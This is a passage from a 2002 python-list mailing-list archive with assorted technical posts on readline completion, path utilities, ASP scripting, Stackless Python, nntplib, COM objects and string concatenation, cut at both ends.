encrypt string > works because I have it logged to file which I used to test in DOS command > shell. The script also works completely when executed manually. > > It seems that the SRVANY wrapper fails at the line where the Python script > shells out to command line to run the PGP script. > > The shell out command is > > "os.popen(strEncrypt)" > > strEncrypt is defined as a PGP string to encrypt. > > Can anyone provide ideas? > > Thanks. > > From pyth at devel.trillke.net Fri May 17 05:12:01 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 17 May 2002 11:12:01 +0200 Subject: how to determine an 'open' string? In-Reply-To: ; from mwh@python.net on Fri, May 17, 2002 at 08:51:24AM +0000 References: Message-ID: <20020517111200.C23086@prim.han.de> Michael Hudson wrote: > [me] > > [you] > > > > > > You're going to have fun with strings containing spaces aren't you? > > > > huh? not that i know of :-) > > Because of the way readline works. It calls the completer function > with the word stem, so if the buffer looks like > > >>> "a very long string > ^ > when you hit TAB the completer will get sent just "string" (I think). Actually what you get is everything from the last 'delimiter'. Delimiters are set via readline.set_completer_delims(delims_str). With my implementation completer_delims are set to the empty string. i want to have the complete line up to the cursor. This is because you cannot find any good delimiter set capable of helping you with the python-expression. cheers, holger From martin at v.loewis.de Thu May 9 13:40:51 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 09 May 2002 19:40:51 +0200 Subject: Multibyte Character Surport for Python References: Message-ID: Erno Kuusela writes: > || what would be the advantage in preventing non-english-speaking people > || from using python? > > | (1) You mean, like they are prevented from using FORTRAN, COBOL, C, > | ...? > > yes (but not java). You mean, non-english-speaking people are prevented from using FORTRAN and C? Can you name someone specifically? I don't know any such person. Regards, Martin From cogs2002 at hotmail.com Sun May 12 12:27:13 2002 From: cogs2002 at hotmail.com (alex gigh) Date: Sun, 12 May 2002 16:27:13 +0000 Subject: Implementing a mail server in Python (socket programming) Message-ID: An HTML attachment was scrubbed... URL: From postmisc at yahoo.com.au Fri May 17 10:27:30 2002 From: postmisc at yahoo.com.au (Patrick) Date: Sat, 18 May 2002 00:27:30 +1000 Subject: OT: Crazy Programming References: <3CE2F9D3.542CE895@cosc.canterbury.ac.nz> <3CE4473B.6E50E539@cosc.canterbury.ac.nz> Message-ID: "James J. Besemer" wrote in message news:mailman.1021636709.31088.python-list at python.org... > [...] > Laura's choice of a particularly subjective example actually underscores > the point. Although there is a lot of inescapable subjectivity regarding > ranking wines, a general consensus nevertheless emerged regarding a great > number of "measurements". It's possible that this consensus emerges as a result of training, rather than as a result of any quality inherent in the wine. Or, on second thoughts, both: An aspiring wine taster learns to recognise and appreciate the very qualities that an expert has determined to be "good". To some extent, the choice of these qualities is arbitrary, but once they've been adequately described and considered authoritative, they can be recognised and, to some extent, measured. Of course that says very little about whether the tasters are recognising "quality", rather than "a quality". The latter seems far more likely to me (which in no way undermines the value of refined taste). From opengeometry at NOSPAM.yahoo.ca Tue May 14 15:18:28 2002 From: opengeometry at NOSPAM.yahoo.ca (William Park) Date: 14 May 2002 19:18:28 GMT Subject: Read file from bottom References: <3CE01380.81F9A087@jpl.nasa.gov> <3CE026E9.DAB30A8F@jpl.nasa.gov> Message-ID: Julia Bell wrote: > > > tail | python script.py > Good idea; I never thought of something like that. > > My initial reaction is that I don't know I exactly how many lines frm the > bottom I want. (I currently read the lines, search for data on the lines > that meets some trigger criterion, and then start processing the data from > there.) But, there still might be something worth thinking about regarding > whether it is more efficient to pre-process the data (similar to using > 'tail') than to process it as part of my script. Arrrgh... stop posting at the top. You can search for that "trigger" and get the line number, ie. grep -n '...' file Then, start printing from that line, ie. tail +65 file One liner would go something like tail +`grep -n '...' file | tail -1 | cut -f 1 -d ':'` | python script.py tail +`grep -n '...' file | head -1 | cut -f 1 -d ':'` | python script.py :-) -- William Park, Open Geometry Consulting, 8-CPU Cluster, Hosting, NAS, Linux, LaTeX, python, vim, mutt, tin From msoulier at nortelnetworks.com_.nospam Wed May 22 09:31:49 2002 From: msoulier at nortelnetworks.com_.nospam (Michael P. Soulier) Date: 22 May 2002 13:31:49 GMT Subject: Is python really slow? References: Message-ID: On Tue, 21 May 2002 20:15:36 -0500, Mark McEahern wrote: > > What draws me to Python is: > > 1. The pragmatic approach it encourages. > 2. The multi-paradigmatic approach it encourages (it's not just OO, it's > not just functional, it's not just procedural). > 3. The clarity it makes possible. > 4. Batteries are included (the standard library has lots to offer). What draws me is all of the above, plus coding in Perl for 8 hours a day. Python is a relief after that. ;-) Mike -- Michael P. Soulier, QX41, SKY Tel: 613-765-4699 (ESN: 39-54699) Optical Networks, Nortel Networks, SDE Pegasus "...the word HACK is used as a verb to indicate a massive amount of nerd-like effort." -Harley Hahn, A Student's Guide to Unix From laz at strakt.com Wed May 15 03:30:29 2002 From: laz at strakt.com (Fredrik Juhlin) Date: 15 May 2002 09:30:29 +0200 Subject: __getitem__, __getslice__ question for python 2.2 In-Reply-To: References: Message-ID: <1021447830.11007.11.camel@Raven> On Wed, 2002-05-15 at 09:16, Ken Seehof wrote: > Eric Max Francis wrote: > > Raymond Hettinger wrote: > > > > > "logistix" wrote > > > > > > > Also, some people don't like to use isinstance, but I'm not sure how > > > > else to > > > > tell if you got an int. > > > > > > if x != int(x): print 'expected an integer' > > > > This is a pretty poor test. Consider the cases where x is 'a', or when > > it is 2.0. > > I don't see the problem. If x is 'a', x != int(x) evaluates to false, > consistent with 'a' not being an integer. This doesn't work for me, at any rate: Python 2.2.1 (#1, Apr 21 2002, 08:38:44) [GCC 2.95.4 20011002 (Debian prerelease)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> x = 'a' >>> if x != int(x): print "Expected an integer" ... Traceback (most recent call last): File "", line 1, in ? ValueError: invalid literal for int(): a //FJ From tim.one at comcast.net Wed May 29 22:17:51 2002 From: tim.one at comcast.net (Tim Peters) Date: Wed, 29 May 2002 22:17:51 -0400 Subject: python tool: finding duplicate code In-Reply-To: Message-ID: [Michal Wallace] > In "Refactoring: Improving the Design of Existing Code", > Martin Fowler and Kent Beck list duplicate code as their > number one "Code Smell" > ... > It's just string-matching, so it won't find duplicate logic > with different variable names or layout, but it *can* find > cut and paste issues. > > (hmm... Come to think of it, someone could probably find > *some* duplicate logic by running source files through the > tokenizer first. I wonder if that would work...) Brenda Baker has done some interesting work on this problem (not with Python in mind, but million-line C systems): http://cm.bell-labs.com/who/bsb/ Her "On Finding Duplication and Near-Duplication in Large Software Systems" is a good entry into the literature. I have a self-serving reason for mentioning this: if somebody whips up a fast suffix tree for Python, I could put it to good use in ameliorating difflib.py's worst-case time sinks . From look at replyto.address.invalid Wed May 22 23:12:05 2002 From: look at replyto.address.invalid (Greg Ewing) Date: Thu, 23 May 2002 15:12:05 +1200 Subject: Here's my common prefix code (Re: suggestion for os.path.commonprefix) References: Message-ID: <3CEC5E05.396422FC@replyto.address.invalid> Tim Peters wrote: > > If you want to write one, note that os.sep isn't enough: os.altsep also > needs to be considered, I wrote some path utilities a while ago, including a common prefix finder, and I didn't use os.sep or os.altsep. Instead, I picked the paths apart using os.path.split and compared the elements. Hang on, I should have them around somewhere... ...ah, here they are: ----------------------------------------------------- # # Some pathname utilities. # By Greg Ewing, 2001 # License: Share and Enjoy # import os def relative_path(base, target): """Given two absolute pathnames base and target, returns a relative pathname to target from the directory specified by base. If there is no common prefix, returns the target path unchanged. """ common, base_tail, target_tail = split_common(base, target) #print "common:", common #print "base_tail:", base_tail #print "target_tail:", target_tail r = len(base_tail) * [os.pardir] + target_tail if r: return os.path.join(*r) else: return os.curdir def split_common(path1, path2): """Return a tuple of three lists of pathname components: the common directory prefix of path1 and path2, the remaining part of path1, and the remaining part of path2. """ p1 = split_all(path1) p2 = split_all(path2) c = [] i = 0 imax = min(len(p1), len(p2)) while i < imax: if os.path.normcase(p1[i]) == os.path.normcase(p2[i]): c.append(p1[i]) else: break i = i + 1 return c, p1[i:], p2[i:] def split_all(path): """Return a list of the pathname components of the given path. """ result = [] head = path while head: head2, tail = os.path.split(head) if head2 == head: break # reached root on Unix or drive specification on Windows head = head2 result.insert(0, tail) if head: result.insert(0, head) return result ----------------------------------------------------- -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From bs1535 at sbc.com Fri May 31 10:38:08 2002 From: bs1535 at sbc.com (SNYDER, BARRON F (AIT)) Date: Fri, 31 May 2002 10:38:08 -0400 Subject: Python IDE Message-ID: <243B0DEBCADE6147A9495B54C45290E03D1B99@ILNORT1MSGUSR02.ITServices.sbc.com> If you look at the "Commercial Exits" section in the lower left of the main Python.org page, you'll see links to a few of the commercial IDEs available (and some other stuff as well). -Barron -----Original Message----- From: destr0 [mailto:joel***nospam***list at litriusgroup.com] Sent: Friday, May 31, 2002 9:19 AM To: python-list at python.org Subject: Python IDE If I remember right didn't python.org have a page that listed python IDE's.... I can't find it now. I'm looking for a good IDE for linux. (idle is wonderful... I know..) preferable something with project management and maybe class auto-completion. -- http://mail.python.org/mailman/listinfo/python-list From djc at object-craft.com.au Tue May 21 18:43:01 2002 From: djc at object-craft.com.au (Dave Cole) Date: 22 May 2002 08:43:01 +1000 Subject: [development doc updates] References: Message-ID: >>>>> "Fred" == Fred L Drake writes: Fred> The development version of the documentation has been updated: Fred> http://www.python.org/dev/doc/devel/ Very nice. Now if only the LaTeX output would do the same... :-) - Dave -- http://www.object-craft.com.au From gerhard at bigfoot.de Mon May 20 16:48:02 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Mon, 20 May 2002 22:48:02 +0200 Subject: Getting image informations In-Reply-To: <200205202235.20388@xsebbi.de> References: <200205202235.20388@xsebbi.de> Message-ID: <20020520204802.GA1040@lilith.my-fqdn.de> * Sebastian Roth [2002-05-20 22:35 +0200]: > Hi all, > > I'm currently looking for an function that give informations about an > image/pictire -file like test.png oder test.gif. I need especially two > informations: > width and heigth . > > Midnight Commander can tell me this things, but how could Python do > that? Is there an special module for such things? The Python Imaging Library (PIL) http://www.pythonware.com/products/pil/ If you use Linux or *BSD, it's usually even available as a RPM/dpkg/package/... on your distribution's CDs or in the ports collection. But installing from source is no problem, either. Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From kragen at pobox.com Mon May 13 19:03:40 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 13 May 2002 19:03:40 -0400 Subject: Scope in 2.2.1 References: Message-ID: <83bsbjk5v7.fsf@panacea.canonical.org> "David LeBlanc" writes: > I have grown accustomed by long use to the way that C, C++ and Pascal (and > asm for that matter!) become aware of declarations. To use an analogy, > there's a line that moves down the page and things below the line are > unknown to the compiler since they're not seen yet unless they're forward > declared. Yes; unfortunately, this doesn't work in Python because Python doesn't have declarations, forward, backward, inside, outside, or upside down, except for the "global" statement. If Python had declarations, we could avoid this whole mess. > Code is parsed based on what's known above the line. Python seems > to have an implicit per block pre-pass that gets all the bindings before > statements are parsed. Is this the correct idea? Python code is parsed sequentially, in a single pass; you will note that assignment to a global variable is syntactically identical to assignment to a local variable, and there is no declaration (like C's typedef and C++'s four other kinds of declarations that do the same thing) that will change the parsing of code. However, the bytecode generated by compiling a parsed statement may indeed depend on statements after it, and yes, this is sometimes surprising. > [David quotes somebody he neglects to credit, who signed "Alex" at the bottom] > > the x in the print may reference either the same binding as given by f's > > caller, or the binding to 45. It IS certainly a reference to the *local > > variable* named x, but what binding of that local variable applies, it's > > anybody's guess. "scoping" might be a useful neologism here. > > gaaaaa! this is mad! How can you write a sane program in this sort of > environment?!? Goodness, David, I had no idea you were such a functional-programming enthusiast. :) From nas at python.ca Thu May 23 14:01:01 2002 From: nas at python.ca (Neil Schemenauer) Date: Thu, 23 May 2002 11:01:01 -0700 Subject: os.path.join() necessary? In-Reply-To: <3CECF4BD.9070903@destiny.com>; from mcherm@destiny.com on Thu, May 23, 2002 at 09:55:09AM -0400 References: <3CECF4BD.9070903@destiny.com> Message-ID: <20020523110101.A20727@glacier.arctrix.com> Michael Chermside wrote: > I think it would be a nice feature of a programming language that all > file-and-path names are expressed using '/' within the language and > automatically converted to the platform-appropriate format by the > language itself (and paths obtained from the OS are converted to '/' > format also). Not a good idea. '/' is a valid path component character in some for some systems. Neil From andrew.henshaw at mail.com Mon May 13 17:21:22 2002 From: andrew.henshaw at mail.com (Andrew Henshaw) Date: Mon, 13 May 2002 17:21:22 -0400 Subject: Python in ASP pages References: Message-ID: Mac Martine wrote: > Hi- > > - I am on Windows XP. > > -I have Python2.2 installed (I think this is different from the > ActiveState version...i'm new to this, so I'm unclear) > > -So, I am trying to run Python code in my ASP pages. I managed to get > .py files to run in my browser, but I can't get Python code to run in my > asp pages. > > I'm trying: > <%@ Language = Python %> > > > >

Python Test

> > > > ...and I get an error on the first line saying "Unknown scripting > language 'Python'" > > any ideas? thanks a lot! > -Mac Perhaps you don't have Mark Hammond's win32all add-on. It's included with ActiveState's distribution, but not the standard python.org distribution. Once you get that (look on python.org on the download page for a Windows link) and install it, there is a script that will register Python with IIS. Look in the win32com help file for instructions; but, it should direct you to run pyscript.py which (by default) is located in: PYTHON_HOME\win32comext\axscript\client Where PYTHON_HOME is the location of your Python installation. Good luck! Andy Henshaw From tismer at tismer.com Tue May 28 04:51:49 2002 From: tismer at tismer.com (Christian Tismer) Date: Tue, 28 May 2002 01:51:49 -0700 Subject: Ann: Stackless Limbo Dancing Works Fine! References: Message-ID: <3CF34525.5020801@tismer.com> Andrew Henshaw wrote: > Christian Tismer wrote: [complaining about "off-topic" stuff, in a sense] > Christian, > > Sorry about the hijacking of this thread. I only mentioned that Occam and > CSP implement channels as connections between single pairs of processes as > I thought that approach might let you simplify your design (by eliminating > your proclet queues, perhaps). I was also trying to show that with this > primitive approach, you can still construct the more complex behavior that > you were indicating. I certainly don't think that you need to emulate > Occam for some compatibility reason. If this concept doesn't help you with > your design, by all means, go with multi-source, multi-destination > channels. I'd still love to have them! Sorry abut my reaction, too. I was overly stressed since a harder internal issue popped up -- being incompatible with Tcl !!! This really made me nervous, and I didn't rest for two days and night until this killer-issue was solved. Couldn't stand stuff that looked like hair-splitting for me, while I have to admit that it wasn't! > If you do go with the single-process-pair channels, I wouldn't worry about > trying to enforce that convention, as the Occam compiler does. Unless it > was easy to restrict, I'd let the primitive implementation be open to > abuse. If a more "correct" implementation is needed, subclass it and > impose the process constraints at a higher level. I have an "Occam" > library module (poorly done) that I've written to work with the Python > standard threads, and the primitive channels work fine for me, without the > checking. Erhmm, are you saying that I should even dispose of the queues in my channels? Replace them by what -- just switching threads if I cannot fulfil their needs? Well, after implementing the stuff, I probably won't step back. I just have to learn about an intelligent way to produce a descent structure for ALT. While I have a possible implementation on stock already, I'd really like to peer into existing code. May I look into yours perhaps, pleasydiplease? > Thanks for your efforts! Thanks for taking care so much!! sincerely -- chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From jblazi at hotmail.com Thu May 30 10:21:55 2002 From: jblazi at hotmail.com (jb) Date: Thu, 30 May 2002 16:21:55 +0200 Subject: Using nntplib Message-ID: <3cf633df_2@news.newsgroups.com> Let us assume I send a LIST command to the server. Then I get a short list of the newsgroups, the server offers. Getting for example 100,000 lines from 'goliath.newsfeeds.com' takes more than a "few minutes", as Outlook, that I used to use in my MS-life, puts it. Now the point is, that nntplib works synchronously(!), that means that the thread is waiting on the LIST command until the server sends it's terminating '.' and all the time the temporary file the socket has created is polled. (1) This is a terrible method, but the handling of the sommands should be done in another thread, so maybe it is o.k. (I thought, I should do all this myself and use QSockets, but alas! they are not supported by PyQt, however wonderful PyQt is.) (2) But I cannot monitor the whole procedure, that is I cannot see, how many lines have arrived already. (3) QUESTION: How can I do the monitoring I mentioned in (2)? A possibility is to tune the file nntplib.py (that is, CHANGING A SYSTEM FILE!). Here is a part of nntplib.py: def getlongresp(self, file=None): """Internal: get a response plus following text from the server. Raise various errors if the response indicates an error.""" openedFile = None try: # If a string was passed then open a file with that name if isinstance(file, types.StringType): openedFile = file = open(file, "w") resp = self.getresp() if resp[:3] not in LONGRESP: raise NNTPReplyError(resp) list = [] while 1: line = self.getline() if line == '.': break if line[:2] == '..': line = line[1:] if file: ############ inserted by J.B. ####### ### HERE SOMETHING SHOULD BE DONE ### ##################################### file.write(line + "\n") else: list.append(line) finally: # If this method created the file, then it must close it if openedFile: openedFile.close() return resp, list So what should I do? Rasing an excepton? And should not nntplib di this? TIA, -- Janos Blazi "Il n'y a gu?re dans la vie qu'une pr?occupation grave: c'est la mort;" (Dumas) -----------== Posted via Newsfeeds.Com - Uncensored Usenet News ==---------- http://www.newsfeeds.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Ulimited Fast Downloads - 19 Servers =----- From pyth at devel.trillke.net Thu May 16 17:24:56 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 16 May 2002 23:24:56 +0200 Subject: how to determine an 'open' string? In-Reply-To: <20020517090025.04369a30.larooy@xtar.co.nz>; from larooy@xtar.co.nz.trillke.net on Fri, May 17, 2002 at 09:00:25AM +1200 References: <8FC4E7C302A6A64AAD5DB1FA0E825DEB220BB3@hendrix.empolisuk.com> <20020517090025.04369a30.larooy@xtar.co.nz> Message-ID: <20020516232456.P28033@prim.han.de> John La Rooy wrote: > On Thu, 16 May 2002 18:59:17 +0200 > holger krekel wrote: > > > > > > i think that's it. very nice! > > > > i might try to shorten it a bit, though :-) > > > > thanks, > > > > holger > > > > > > is this short enough for you? > > import re > > def quoteopen(s): > quot=re.compile("(?P\"\"\"|'''|\"|').*?(?P=quot)") > s=quot.sub("",s) > return "'" in s or '"' in s my other version also returns the 'open quote' but yours is shorter. you won :-) regexes often offer more than one might think... thanks, holger From nospam at bigfoot.com Fri May 24 13:18:12 2002 From: nospam at bigfoot.com (Gillou) Date: Fri, 24 May 2002 19:18:12 +0200 Subject: Very basic:How to config python2.2.1 in windows? References: Message-ID: This will help... http://www.python.org/doc/current/lib/module-site.html "wangzhao_wz" a ?crit dans le message news: ackrh6$pjc$1 at bowmore.utu.fi... > Hi, > When I install Python2.2.1 in windows system. I can only > put the module files in the directry python22 so that the file can be > executed. How can I set the path so that I can run the files in any > directory? Can anybody help me? Thanks. > > zhao > > From kwokng at earthlink.net Fri May 3 01:49:34 2002 From: kwokng at earthlink.net (Billy Ng) Date: Fri, 03 May 2002 05:49:34 GMT Subject: debian python-mysqldb References: Message-ID: Sorry, it did not work because I did not grant to the user with the right host name. It's working now. Billy Ng "Billy Ng" wrote in message news:sShA8.5$Ot3.1 at newsread2.prod.itd.earthlink.net... > I want to connection my python program to talk to a mysql database. I am > using debian linux and I have installed the testing python-mysqldb 0.9.1-3 > module, but I got error when I used mysqldb.connect(). What is package name > actually I should use? Would any please tell me how call the python-mysqldb > methods? > > Thanks! > > Billy Ng > > > > > From its1louder at yahoo.com Thu May 2 17:57:21 2002 From: its1louder at yahoo.com (Tom) Date: 2 May 2002 14:57:21 -0700 Subject: Disconnecting from COM server ? References: <3CD12F0B.8020408@molgen.mpg.de> Message-ID: <90f2d9db.0205021357.5a0ea69c@posting.google.com> I think an explicit way to do it is like this: >>> o = win32com.client.Dispatch('your.object') when you're done with it, do >>> del o del will destroy the instance of win32com.client. If you then try to run o.method() it will fail because o no longer exists. But I don't think that's the problem. I've used win32com.client lots and I get a lot of mileage out of the activex control wrapper for wxpython (which uses win32com.client). I use the same activestate pythons, 2.1 and 2.2. I don't get the error you mention in that context and I never do the 'del o' bit. But I do get the error. A lot. Here are the situations when I get it: at home, my DVD player crashes out with that error occasionally. I get it at exactly the same instant in the movies without fail, everytime. This is a software codec, the free one. at work I have two computers, and it happens repeatably when I'm doing different programming tasks. Can't remember which tasks exactly, but I've been able to repeat it when I bother to try on either machine. One occasion I remember is running the wxpython demo for internet explorer activex control. THe Adobe Acrobat one worked fine, though. This was repeatable on one work computer, but wouldn't happen on the other one when running the same demo. Do a search on the ng's for "referenced memory at " or similiar, and you'll see it happens to lots of VB users. I think there's a bug in Win2k or else in the implementation of COM. Loose pointers or something. VB uses COM a lot. Axel Kowald wrote in message news:<3CD12F0B.8020408 at molgen.mpg.de>... > Hello, > > I'm using Activestates Python (2.1 & 2.2) to connect to a COM server (win32com.client.Dispatch()). The problem is that python crashes when the script finally terminates ("The instruction at ... referenced memory at .... The memory could not be read"). > I guess before exiting I should properly disconnect from the COM server, but what is the proper way ? > > Many thanks, > > Axel From jimmy at retzlaff.com Fri May 17 16:08:24 2002 From: jimmy at retzlaff.com (Jimmy Retzlaff) Date: Fri, 17 May 2002 13:08:24 -0700 Subject: Fatal Python error: GC object already in linked list Message-ID: Neil Schemenauer [mailto:nas at python.ca] wrote: > Jimmy Retzlaff wrote: > > In 2.2.1 the problem is still there, but it's not as consistent. > > Have you tried setting the GC threshold low (e.g. 5)? That sometimes > helps trigger these kinds of bugs. You should also build with Py_DEBUG > defined. That often helps too. If you could, also try the CVS version > of Python. pymalloc is now enabled by default and it does some some > extra checks if Py_DEBUG is defined. The GC threshold doesn't seem to hasten the failure in my case, but it sure does put the CPU to work! I assumed you meant calling gc.set_threshold or setting the corresponding threshold defaults in the underlying C code. I was building 2.2.1 with Py_DEBUG, but not pymalloc. So I tried CVS Python with pymalloc enabled as you suggested - same problems as 2.2.1. But that gave me the idea to try CVS wxPython, which made the problem disappear, even under Python 2.2. Not sure that shows causality, but I'm willing to assume it for now. :) Thanks for the ideas. Jimmy From stephen at xemacs.org Mon May 13 05:55:16 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 13 May 2002 18:55:16 +0900 Subject: Comment on PEP 263 - Defining Python Source Code Encodings References: Message-ID: <87elggl6d7.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "Martin" == Martin v Loewis writes: Martin> Indeed, that would be the case. Hopefully, few editors Martin> will silently *change* the encoding. Sometimes you have no choice. This is particularly the case with ISO-8859-1 and the Euro, but could happen unexpectedly (to the user) in many ways, especially with cut and paste. Emacs, for example, will handle this correctly, including requesting confirmation when the encoding is about to be changed in order to prevent data corruption. Unfortunately, it does _not_ fix up the coding cookie, and there is significant opposition to fixing up the coding cookie on the Emacs development list. (XEmacs will support fixing up the coding cookie in some sane way.) Martin> Also, I question that the encoding is meta-data: this Martin> information affects the meaning of the Python program just Martin> as any other program statement. Of course it's meta-data. Heck, even HTML calls it that. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN My nostalgia for Icon makes me forget about any of the bad things. I don't have much nostalgia for Perl, so its faults I remember. Scott Gilbert c.l.py From rpm1deletethis at nospamfrontiernet.net Fri May 24 17:12:08 2002 From: rpm1deletethis at nospamfrontiernet.net (RPM1) Date: Fri, 24 May 2002 17:12:08 -0400 Subject: Iterating through two lists References: <3cee0ae6_1@news3.newsgroups.com> <3cee2338_2@news3.newsgroups.com> Message-ID: "Oleg Broytmann" wrote > I strongly disagree on practical > reason - Python is not my first or my only language (I was using a lot of > languages - Fortran, C, Pascal, Perl, assemblers of different processors), > and of this list Perl was the ugliest language I used, I have too much > problems programming... well, better to say "trying to program in it" - > and Python is the most beutiful, the most elegant language, it allows me to > program in the most efficient way. Mega dittos Patrick M. From mhammond at skippinet.com.au Wed May 1 10:23:14 2002 From: mhammond at skippinet.com.au (Mark Hammond) Date: Wed, 01 May 2002 14:23:14 GMT Subject: Python COM Questions References: <1020246738.540831@lave> Message-ID: <3CCFFA71.4040106@skippinet.com.au> Dave Kirby wrote: > The Background: > I am trying to write a GUI test automation system using the Microsoft Active > Accessibility, which provides a COM interface for controlling the GUI > elements of another process. (see http://msdn.microsoft.com/accessibility > for details). The problem is that this has a DLL (oleacc.dll) with factory > functions to generate COM wrappers for GUI elements, for example: > > STDAPI AccessibleObjectFromWindow( > HWND hwnd, > DWORD dwObjectID, > REFIID riid, > void** ppvObject > ); > > this function creates a IAccessible COM object and writes its address into > *ppvObject. The problem is that I can't figure out how to call this > function (or any of the others) from Python. > > The Questions: > How do I get Python to access the factory functions? I can see two options: > > 1) write a C++ Python module, perhaps using SWIG, that exposes the > functions. If I do this how do I convert the C++ created COM object into > something that Python COM can use? I presume that I need to generate a > Python wrapper round it, but I cant find out how to do that. There are functions exported from pythoncomxx.dll, but you will still be faced with the fact that Pythoncom doesn't understand the interface in question. You can add support for this interface manually, also using SWIG. See the source code to the win32comext\exchange tree for an example. > 2) write a COM server that creates a COM factory object with these functions > as methods. This would be a more generic solution since it would be usable > by any language that uses COM (and IMHO, what MS should have done in the > first place). If I do this, I would like to be able to make the COM server > InProc, so I dont have to go through the messyness of registering it with > Windows. So how do I call an InProc server from Python? InProc servers still need to be registered. You call an InProc object like any other object; by using its CLSID. If IAccessible is described in a type library, another alternative would be to help getting support for arbitary interfaces into PythonCOM - but this is likely to be harder, as it is new ground. We do have the "other side" implemented (ie, implementing interfaces) so adding support for calling them should be just as doable. Mark. From grante at visi.com Wed May 1 11:49:16 2002 From: grante at visi.com (Grant Edwards) Date: Wed, 01 May 2002 15:49:16 GMT Subject: Any CD-ROM writer support in python? References: <3CCF59F7.D5AA5EE4@attglobal.net> Message-ID: <08Uz8.60998$vm6.10536932@ruti.visi.com> In article , Fernando P?rez wrote: > Pierre Rouleau wrote: > >> I am looking for python based CD-ROM writer support. Does >> anyone know where I could find some python code or libraries to >> do that? > > If you're under Linux, cdrecord is _the_ standard. And it appears to be designed so that it can be easily controlled programatically via a pipe. Unless you want to spend many, many hours swearing at the designers of CD-Burners, a wrapper for cdrecord is probably the way to go. Last time I researched it, cdrdao had a bit of an edge when it comes to burning audio CDs -- particularly when it came to controlling the gaps between tracks. That may have changed. > And you don't want to rewrite that, trust me ;) Under Windows, > no idea. -- Grant Edwards grante Yow! I guess we can live at on his POT FARM in HADES!! visi.com From chris.myers at ingenta.com Wed May 8 13:12:54 2002 From: chris.myers at ingenta.com (Christopher Myers) Date: Wed, 08 May 2002 13:12:54 -0400 Subject: sys.argv and while loop References: <3CD9376E.BEF43213@jpl.nasa.gov> <3CD955A1.43AE9120@jpl.nasa.gov> Message-ID: <3CD95C96.C239065F@ingenta.com> Julia Bell wrote: > > Thanks for all of the advice. I'm converting from perl, so I'm not used to > thinking about the difference between a string and a number in general. > > (We are planning to upgrade our version of python in the next few months.) > > Now that I know I have to worry about type, what is the best way to determine > if a string is convertible to a number (integer or float)? > > If I use string.atoi(variable) or string.atof(variable), but variable cannot > be converted to an integer or float, I get an error. I'm just learning about > catching exceptions, so I think I could figure out how to catch the error and > do something appropriate if that's the recommended approach. But, is there a > better way (perform the test before trying to do the conversion)? > > Julia Bell > I recommend something like the following (obviously commenting and uncommenting where appropriate to test): str="3.14159" #str="10000" #str="foo" try: num=string.atoi(str) except ValueError: try: num=string.atof(str) except: num=str if type(num) == type(1.0): print "Do float stuff in here" elif type(num) == type(1): print "Do int stuff in here" else: print "Value does not convert to a number" I'd be very interested to see if there's a simpler way, though. -- Christopher Myers, Graduate Software Developer Ingenta, Inc. 12 Bassett St. Providence, RI 02903 ph: 401.331.2014 x 102 em: chris.myers at ingenta.com aim: chrismyers001 From matt at kimball.net Tue May 14 17:43:45 2002 From: matt at kimball.net (Matt Kimball) Date: Tue, 14 May 2002 14:43:45 -0700 (PDT) Subject: [ANN] NodeNet 1.0beta1 Message-ID: <20020514144443.4997.h009.c000.wm@mail.kimball.net.criticalpath.net> I've just released my NodeNet library. NodeNet is a library of Python code for dealing with networks of connected nodes in GUI applications. NodeNet provides a set of classes for representing networks of connected nodes, wxPython-based GUI controls for editing a node network, and a simple event system for monitoring changes in networks of nodes. In order to demonstrate the usefulness of NodeNet, I've written a simple image processing application called "Eye Candy". Eye Candy will allow you to drag out a network of image processing nodes and watch the changes to your image as you connect several image processing nodes together. The python source code for Eye Candy is included in the NodeNet distribution, but if you'd like Windows binaries which include everything you need, you can download them from my web site. NodeNet is free and open source software. Screenshots, source code, online docs, Windows binaries and more at http://matt.kimball.net/nodenet.html -- Matt Kimball matt at kimball.net From rob Fri May 24 10:11:26 2002 From: rob (Rob Andrews) Date: Fri, 24 May 2002 14:11:26 GMT Subject: New to Python... References: Message-ID: "Ken" wrote in news:aclf3u$qmp40$1 at ID- 49758.news.dfncis.de: > Hi, I am new to python. I am just wondering how different it is from C++? > Also, how does python get mixed in with HTML to generate a webpage? > > Thanks > > > Python and C++ are both powerful object-oriented programming languages. Python is a whole lot easier to learn, although C++ seems to make a good deal more sense after one has spent some time with Python. You can write programs in Python very quickly, with far less risk of obscure mistakes crashing the program or causing it not to work at all. http://python.org/doc/Comparisons.html is the traditional "good starting point" for finding thorough comparisons between Python and other languages. peace, Rob From Grant_member at newsguy.com Fri May 31 11:21:11 2002 From: Grant_member at newsguy.com (Grant Griffin) Date: 31 May 2002 08:21:11 -0700 Subject: semi-concatenated strings References: Message-ID: In article , Skip says... > > > Grant> I discovered today that strings can sometimes be concatenated > Grant> without using a "+": > >Actually, string literals can always be concatenated without adding them. > > Grant> I discovered this, of course, while making a mistake like this: > > >>> a = ['zero', 'one' > ... 'two', 'three'] > >>> a > ['zero', 'onetwo', 'three'] > >Yup, that's just how it's supposed to work. It makes it easier to compose >long strings. For example, I have code like this that queries a database: > > rows = self.executesql("select cities.city, state, country" > " from cities, venues, events, addresses" > " where cities.city like %s" > " 